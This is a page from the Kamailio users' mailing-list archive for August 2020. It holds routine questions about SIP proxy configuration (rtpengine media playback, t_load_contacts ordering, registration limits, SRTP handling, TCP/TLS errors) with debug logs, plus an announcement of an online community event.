Hey all, I’m trying to understand the following lines in the kamdbctl.pgsql script: https://github.com/kamailio/kamailio/blob/bf38c7b04171e6f410ff885f10abe0f81… <https://github.com/kamailio/kamailio/blob/bf38c7b04171e6f410ff885f10abe0f81…> https://github.com/kamailio/kamailio/blob/bf38c7b04171e6f410ff885f10abe0f81… <https://github.com/kamailio/kamailio/blob/bf38c7b04171e6f410ff885f10abe0f81…> https://github.com/kamailio/kamailio/blob/bf38c7b04171e6f410ff885f10abe0f81… <https://github.com/kamailio/kamailio/blob/bf38c7b04171e6f410ff885f10abe0f81…> Basically, there are no tables created for Postgres that end in _id_seq. Am I missing something here? Thanks! ~Noah

2 2

kamailio+rtpengine for media not playing media file while hold the call
by Amit Pal 20 Aug '20

20 Aug '20

Dear Team, I am using kamailio with rtpengine for media. when call getting hold no media sound play (configure hold.mp3). >From rtpengine gets following error. rtpengine[624]: ERR: No suitable SDP section for media playback rtpengine[624]: WARNING: Protocol error in packet from 127.0.0.1:46333: Failed to start media playback from file [d8:supportsl10:load limite4:file38:/home/coralswitch/queuesounds/hold.mp37:call-id60:89162207232 fae50MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.13:received-froml3:IP414:19 2.168.20.254e8:from-tag32:9f5288f14b704b28a1c2dfc2112250eb6:to-tag8:1e05e757 7:command10:play mediae] rtpengine[624]: INFO: Received command 'offer' from 127.0.0.1:46333 rtpengine[624]: INFO: Replying to 'offer' from 127.0.0.1:46333 (elapsed time 0.000106 sec) /usr/local/sbin/kamailio[9094]: ERROR:rtpengine [rtpengine.c:2619]: rtpp_function_call(): proxy replied with error: Failed to start media playback from file Attached file show complete log of one call with hold /unhold actions. Please advise what I miss to configure here. Regards Amit Pal

2 2

Module IMS_QOS does not support Re-Auth Request (RAR)
by Hamid Hashmi 20 Aug '20

20 Aug '20

Kamailio User Does module ims_qos support Re-Auth Request? [cid:282322de-506e-4b6e-a731-24841b517573] I observed that the QoS module is not responding to RAR. Kamailio version is version: kamailio 5.2.0-dev6 (x86_64/linux) 48ed62-dirty flags: STATS: Off, USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MEM, SHM_MMAP, PKG_MALLOC, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLACKLIST, HAVE_RESOLV_RES ADAPTIVE_WAIT_LOOPS=1024, MAX_RECV_BUFFER_SIZE 262144, MAX_LISTEN 16, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: 48ed62 -dirty compiled with gcc 4.8.4 Regards Hamid R. Hashmi

2 1

t_load_contacts in 5.4.0
by Cindy Leung 20 Aug '20

20 Aug '20

Hello all, Just started using v5.4.0 on our system and I noticed a change in behavior when doing the append_branch, t_load_contacts, and t_next_contacts combo. Previously using v5.3.4 and it appears to be fine. Here's the call scenario: Kamailio receives a call to sip:1001@carrierB. Kamailio sees carrierB and appends 2 contacts: gateway1.carrierB.com;q=0.3 and gateway2.carrierB.com;q=0.2. After t_load_branches(0), I expect to see $rd to be changed to gateway1.carrierB.com, but it's not. This is the piece of config I'm trying to debug: xlog ("=== branch 0: $(branch(uri)[0]), $(branch(q)[0])\n"); xlog ("=== branch 1: $(branch(uri)[1]), $(branch(q)[1])\n"); t_load_contacts(0); while (t_next_contacts()) { xlog ("=== rd = $rd\n"); } This is the log I get. It appears to use the backup contact first. ERROR: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: === branch 0: sip:1001@gateway2.carrierB.com;transport=udp, 200 ERROR: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: === branch 1: sip:1001@gateway1.carrierB.com;transport=tcp, 300 DEBUG: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: tm [t_serial.c:522]: t_load_contacts(): load_contact mode selected: 0 DEBUG: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: tm [t_serial.c:340]: ki_t_load_contacts_mode(): nr_branches is 2 DEBUG: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: <core> [core/xavp.c:539]: xavp_destroy_list(): destroying xavp list 0x7f983cb66608 DEBUG: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: tm [t_serial.c:890]: ki_t_next_contacts(): Appending branch uri-'sip:1001@gateway1.carrierB.com;transport=tcp' dst-'' path-'' inst-'' ruid-'' location_ua-'' DEBUG: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: <core> [core/xavp.c:539]: xavp_destroy_list(): destroying xavp list 0x7f983cb66350 ERROR: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: === rd = carrierB DEBUG: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: <core> [core/xavp.c:539]: xavp_destroy_list(): destroying xavp list 0x7f983cb66078 ERROR: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: === rd = gateway2.carrierB.com DEBUG: IBG_LOG: sipp-ci1-20200818053427-1-23(a)172.18.1.21: tm [t_serial.c:627]: ki_t_next_contacts(): no contacts in contacts_avp - we are done! t_load_contacts(1) works a little better. But we don't need the probability feature. ERROR: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: === branch 0: sip:1001@gateway2.carrierB.com;transport=udp, 200 ERROR: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: === branch 1: sip:1001@gateway1.carrierB.com;transport=tcp, 300 DEBUG: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: tm [t_serial.c:522]: t_load_contacts(): load_contact mode selected: 1 DEBUG: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: tm [t_serial.c:340]: ki_t_load_contacts_mode(): nr_branches is 2 DEBUG: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: tm [t_serial.c:280]: t_load_contacts_proportional(): proportionally selected contact with uri: sip:1001@gateway1.carrierB.com;transport=tcp (q: 300, random: 287, q_index: 500, q_total: 500) DEBUG: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: tm [t_serial.c:280]: t_load_contacts_proportional(): proportionally selected contact with uri: sip:1001@gateway2.carrierB.com;transport=udp (q: 200, random: 157, q_index: 200, q_total: 200) DEBUG: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: tm [t_serial.c:303]: t_load_contacts_proportional(): proportionally added backup contact with uri: sip:1001@carrierB SIP/2.0#015#012Via: SIP/2.0/UDP 172.18.1.21:5060;branch=z9hG4bK-21-1-0 blah blah blah (q: -1) DEBUG: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: <core> [core/xavp.c:539]: xavp_destroy_list(): destroying xavp list 0x7f6e457ec078 ERROR: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: === rd = gateway1.carrierB.com DEBUG: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: <core> [core/xavp.c:539]: xavp_destroy_list(): destroying xavp list 0x7f6e457ec350 ERROR: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: === rd = gateway2.carrierB.com DEBUG: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: <core> [core/xavp.c:539]: xavp_destroy_list(): destroying xavp list 0x7f6e457ec608 ERROR: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: === rd = carrierB DEBUG: IBG_LOG: sipp-ci1-20200818054736-1-21(a)172.18.1.21: tm [t_serial.c:627]: ki_t_next_contacts(): no contacts in contacts_avp - we are done! As a comparison, this is what we've been getting in 5.3.4 ERROR: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: === branch 0: sip:1001@gateway2.carrierB.com;transport=udp, 200 ERROR: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: === branch 1: sip:1001@gateway1.carrierB.com;transport=tcp, 300 DEBUG: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: tm [t_serial.c:191]: ki_t_load_contacts(): nr_branches is 2 DEBUG: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: <core> [core/xavp.c:529]: xavp_destroy_list(): destroying xavp list 0x7fe13146a680 ERROR: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: === rd = gateway1.carrierB.com DEBUG: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: <core> [core/xavp.c:529]: xavp_destroy_list(): destroying xavp list 0x7fe13146a3a8 ERROR: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: === rd = gateway2.carrierB.com DEBUG: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: <core> [core/xavp.c:529]: xavp_destroy_list(): destroying xavp list 0x7fe13146a0d0 ERROR: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: === rd = carrierB DEBUG: IBG_LOG: sipp-ci1-20200818055736-1-21(a)172.18.1.21: tm [t_serial.c:460]: ki_t_next_contacts(): no contacts in contacts_avp - we are done! Is there anything else that's been changed in branch building that we should pay attention to? Thanks. Cindy

2 4

Domain Name changes
by Pavithra Mohanraja 19 Aug '20

19 Aug '20

Hi, Is there any way to change the domain name at run-time Kindly help. Thanks, Pavithra

2 4

dlg_refer of callee leg issue
by Amit Pal 19 Aug '20

19 Aug '20

Dear kamailio Team, I using dlg_refer for refer callee leg on specific condition to Freeswitch conference. But I got decline message. in reverse caller leg refer to freeswitch conference. can pls tell how to achieve it. Regards Amit Pal

2 4

Force registrations on Kamailio save()
by Duarte Rocha 19 Aug '20

19 Aug '20

Greetings, I'm currently creating a Kamailio with registrations and i'm unsure how to use the save() function. I want to limit the number of contacts for the AOR to 2. I also want to force the registration of new contacts even if the maximum number is reached, removing the older ones. I saw that on opensips i could use the flags "fc2" for this but they aren't available on Kamailio's save(). I'm using the max_contacts parameter but in the docs it states the once the limit is reached, it will reject new Registers. How can i implement the force registration behaviour here? Best Regards, Duarte Rocha

2 1

Decrypting SRTP with Kamailio + rtpengine
by Ildar Mukhametzhanov 18 Aug '20

18 Aug '20

Hello! Decrypting SRTP with Kamailio + rtpengine. Hello! I have a task to decrypt SRTP for a legacy switch which doesn’t support it. Simply adding rtpengine_manage("RTP/AVP") didn’t help. SDP converted from SRTP to RTP while proxying INVITE to legacy switch, but 180 Ringing wasn’t converted back to SRTP. Little more detailed config snippet: route[RELAY] { ... if (is_method("INVITE")) { if ($rd=~$var(switch_ip_mask)) { rtpengine_manage("RTP/AVP"); } else { rtpengine_manage(); } ... } Could someone please advise typical scenarios to achieve it, I suppose the task is pretty standard. Thank you in advance!

4 3

Kamailio World Updates Online - Celebration Party - Sep 2-3, 2020
by Daniel-Constantin Mierla 18 Aug '20

18 Aug '20

Hello, we are considering to organize a small online event to compensate a bit the cancellation of Kamailio World 2020, but mainly to discuss about what is new around Kamailio project and RTC space. The event was discussed among a couple developers several weeks ago, when it was clear that the pandemic will last longer, preventing any on-site event, and the intention to do it was also announced during the recording of last ClueCon Weekly about Kamailio project at the beginning of July (https://www.kamailio.org/w/2020/07/cluecon-weekly-kamailio-updates-july-202…). The first commit of Kamailio code was done on the 3rd of September 2001, thus this is like the project's birthday, so a good opportunity to celebrate that as well. The event is planned to be 2 sessions of about 4 hours on each day, with a few presentations per day, but try focus on open discussions about. The goal is to keep in very informal, without any significant burden for organizers or participants, not to add to the daily stress with work and family in the pandemic time. It should be more like meetup style, with no registration for participants, sessions may not be recorded and can be done without slides. Likely we will use a (self-hosted) video conferencing system (Jitsi) for presentations and the IRC or Matrix channels for chatting. The time frames we look at are 15:00-19:00 Berlin time zone (13:00-17:00 UTC) on the 2nd and the 3rd of September 2020. The purpose of this email for now is to see the interest of the community for such event, reply if you think it is useful to organize it and you plan to participate. If there is interest, then I will follow up with more details about speakers and the structure of the event. Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla

9 10

Do I need RTPEngine at every location onsite for webRTC
by Johnny Ritzer 18 Aug '20

18 Aug '20

We have 100 customer locations and I was hoping to no deploy a kamabox at each location if traffic is mostly just local. But we are building a WEBRTC. and hoping our architecture can use kamailio in the cloud. Each location has a PBX onsite. We are deploying webRTC so need that websocket setup jssip/sip.js. SIP SIGNALING (relay) () UA(webphone) --> Cloud Kamailio --> PBX 10.0.1.100 --> cloud.kama.com --> 10.0.1.1 But then translate uac and get RTP to pass locally without a device onsite at each location. RTP Flow (not going through kamailio) UA(webphone) --> PBX 10.0.1.100 --> 10.0.1.1

2 1

TCP/TLS CRITICAL error. send_fd(): sendmsg failed sending : Too many references: cannot splice
by Dmytro M 18 Aug '20

18 Aug '20

While executing this piece of config script, after a few days of run time, Kamailio starts experiences some issue that leads to instability and unresponsiveness of the proxy via TCP with TLS. UDP workers seems to be working fine... TCP clients can't connect. route[RELAY] { ... if (!t_relay()) { sl_reply_error(); } exit; } Please advise how we can troubleshoot this issue. Are there any immediate (or obvious) TCP/TLS/FD Kamailio/Linux parameters that should be increased to allocate more resources for the Proxy? Or may be any other parameters that may lead to a quicker resources release. Please see the errors bellow... Environment: Ubuntu 16 x86_64, Kamailio 5.3.5. Thanks, Dmytro Aug 15 04:48:19 CRITICAL: <core> [core/pass_fd.c:191]: send_fd(): sendmsg failed sending 164 on 16: Too many references: cannot splice (109) Aug 15 04:48:19 ERROR: <core> [core/tcp_main.c:3908]: handle_ser_child(): CONN_GET_FD: send_fd failed Aug 15 04:48:19 ERROR: tm [../../core/forward.h:292]: msg_send_buffer(): tcp_send failed Aug 15 04:48:19 WARNING: tm [t_fwd.c:1573]: t_send_branch(): sending request on branch 0 failed Aug 15 04:48:19 ERROR: sl [sl_funcs.c:392]: sl_reply_error(): stateless error reply used: Unfortunately error on sending to next hop occurred (477/SL) .... Aug 15 05:52:04 ERROR: <core> [core/tcp_main.c:4225]: send2child(): send_fd failed for 0x7f92e91c31e0 (flags 0x4018), fd 74 Aug 15 05:52:04 CRITICAL: <core> [core/pass_fd.c:191]: send_fd(): sendmsg failed sending 75 on 43: Too many references: cannot splice (109) Aug 15 05:52:04 ERROR: <core> [core/tcp_main.c:4225]: send2child(): send_fd failed for 0x7f92e9d727b0 (flags 0x4018), fd 75 Aug 15 05:52:04 CRITICAL: <core> [core/pass_fd.c:191]: send_fd(): sendmsg failed sending 75 on 73: Too many references: cannot splice (109) Aug 15 05:52:04 ERROR: <core> [core/tcp_main.c:4225]: send2child(): send_fd failed for 0x7f92e9d727b0 (flags 0x4018), fd 75 Aug 15 05:52:04 CRITICAL: <core> [core/pass_fd.c:191]: send_fd(): sendmsg failed sending 75 on 45: Too many references: cannot splice (109) Aug 15 05:52:04 ERROR: <core> [core/tcp_main.c:4225]: send2child(): send_fd failed for 0x7f92e9d727b0 (flags 0x4018), fd 75 Aug 15 05:52:04 CRITICAL: <core> [core/pass_fd.c:191]: send_fd(): sendmsg failed sending 74 on 43: Too many references: cannot splice (109) Aug 15 05:52:04 ERROR: <core> [core/tcp_main.c:4225]: send2child(): send_fd failed for 0x7f92e91c31e0 (flags 0x4018), fd 74 Aug 15 05:52:04 CRITICAL: <core> [core/pass_fd.c:191]: send_fd(): sendmsg failed sending 76 on 43: Too many references: cannot splice (109) Aug 15 05:52:04 ERROR: <core> [core/tcp_main.c:4225]: send2child(): send_fd failed for 0x7f92e7856fa8 (flags 0x4018), fd 76 Aug 15 05:52:04 CRITICAL: <core> [core/pass_fd.c:191]: send_fd(): sendmsg failed sending 74 on 47: Too many references: cannot splice (109) Aug 15 05:52:04 ERROR: <core> [core/tcp_main.c:4225]: send2child(): send_fd failed for 0x7f92e7856fa8 (flags 0x4018), fd 74 .....

2 2

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

sr-users